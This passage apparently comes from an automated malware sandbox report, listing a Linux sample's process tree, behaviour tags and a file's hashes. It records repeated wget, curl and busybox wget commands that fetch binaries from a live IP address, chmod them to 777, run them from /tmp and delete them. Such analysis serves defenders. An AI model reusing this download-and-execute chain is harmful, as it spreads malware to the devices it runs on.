/tmp/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ./eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵
- Executes dropped EXE
PID:941
-
-
/bin/rmrm eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵PID:942
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵PID:943
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:944
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵PID:945
-
-
/bin/chmodchmod 777 6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵
- File and Directory Permissions Modification
PID:946
-
-
/tmp/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik./6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵
- Executes dropped EXE
PID:947
-
-
/bin/rmrm 6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵PID:948
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵PID:949
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:950
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵PID:951
-
-
/bin/chmodchmod 777 WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵
- File and Directory Permissions Modification
PID:952
-
-
/tmp/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq./WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵
- Executes dropped EXE
PID:953
-
-
/bin/rmrm WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵PID:954
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵PID:955
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:956
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵PID:957
-
-
/bin/chmodchmod 777 bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵
- File and Directory Permissions Modification
PID:958
-
-
/tmp/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN./bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵
- Executes dropped EXE
PID:959
-
-
/bin/rmrm bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵PID:960
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵PID:961
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:962
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵PID:963
-
-
/bin/chmodchmod 777 yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵
- File and Directory Permissions Modification
PID:964
-
-
/tmp/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc./yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵
- Executes dropped EXE
PID:965
-
-
/bin/rmrm yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵PID:966
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵PID:967
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:968
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵PID:969
-
-
/bin/chmodchmod 777 SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵
- File and Directory Permissions Modification
PID:970
-
-
/tmp/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX./SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵
- Executes dropped EXE
PID:971
-
-
/bin/rmrm SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵PID:972
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵PID:973
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵
- Reads runtime system information
- Writes file to tmp directory
PID:974
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵PID:975
-
-
/bin/chmodchmod 777 ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵
- File and Directory Permissions Modification
PID:976
-
-
/tmp/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5./ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵
- Executes dropped EXE
PID:977
-
-
/bin/rmrm ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵PID:978
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵PID:979
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:980
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵PID:981
-
-
/bin/chmodchmod 777 ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵
- File and Directory Permissions Modification
PID:982
-
-
/tmp/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm./ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵
- Executes dropped EXE
PID:983
-
-
/bin/rmrm ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵PID:984
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
153B
MD5998368d7c95ea4293237f2320546e440
SHA130dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA256533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
SHA512648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97